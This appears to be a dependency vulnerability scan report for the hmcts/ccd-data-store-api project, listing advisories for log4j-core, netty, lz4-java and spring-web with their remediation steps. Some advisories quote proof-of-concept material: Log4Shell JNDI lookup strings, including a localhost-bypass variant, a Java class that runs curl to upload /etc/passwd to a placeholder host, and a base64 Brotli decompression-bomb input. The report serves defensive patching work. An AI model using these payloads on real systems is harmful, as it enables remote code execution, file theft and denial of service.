Vulnerabilities

52 via 310 paths

Dependencies

265

Source

GitHub

Commit

96fbe202

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 52
  • 7
Severity
  • 3
  • 21
  • 30
  • 5
Status
  • 59
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.8.2 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

high severity

Improper Certificate Validation

  • Vulnerable module: org.apache.httpcomponents.client5:httpclient5
  • Introduced through: org.apache.httpcomponents.client5:httpclient5@5.4.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.apache.httpcomponents.client5:httpclient5@5.4.1
    Remediation: Upgrade to org.apache.httpcomponents.client5:httpclient5@5.4.3.

Overview

org.apache.httpcomponents.client5:httpclient5 is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Certificate Validation due to a bug in the validation logic of the Public Suffix List, which allows attackers to manipulate cookie management and host name verification, leading to unauthorized access or information disclosure.

Remediation

Upgrade org.apache.httpcomponents.client5:httpclient5 to version 5.4.3 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: org.lz4:lz4-java
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0

Overview

org.lz4:lz4-java is a Java port of the LZ4 compression algorithm and the xxHash hashing algorithm.

Affected versions of this package are vulnerable to Out-of-bounds Read due to the use of the insecure LZ4_decompress_fast in the underlying lz4 library, which lacks bounds checks. An attacker can cause denial of service or access sensitive memory contents by providing specially crafted compressed input.

Workaround

  • Applications using LZ4Factory.nativeInstance() in conjunction with .fastDecompressor() can switch to .safeInstance() or .safeDecompressor().
  • Applications using LZ4Factory.unsafeInstance(), .fastestInstance() or .fastestJavaInstance() can switch to .safeInstance().

Notes

  • The official org.lz4:lz4-java library has not been patched and the project is discontinued.

  • org.lz4:lz4-java:1.8.1 relocates the pacakge to at.yawk.lz4:lz4-java, which is a community-maintained fork of the library that fixes this vulnerability.

Remediation

Upgrade org.lz4:lz4-java to version 1.8.1 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.

Remediation

Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.

References

high severity

Uncontrolled Memory Allocation

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Uncontrolled Memory Allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

Remediation

Upgrade io.netty:netty-codec to version 4.1.46.Final or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: org.lz4:lz4-java
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-lz4@7.16.2 org.lz4:lz4-java@1.8.0

Overview

org.lz4:lz4-java is a Java port of the LZ4 compression algorithm and the xxHash hashing algorithm.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the decompression process when the output buffer is reused without being cleared. An attacker can access sensitive information from previous buffer contents by providing crafted compressed input.

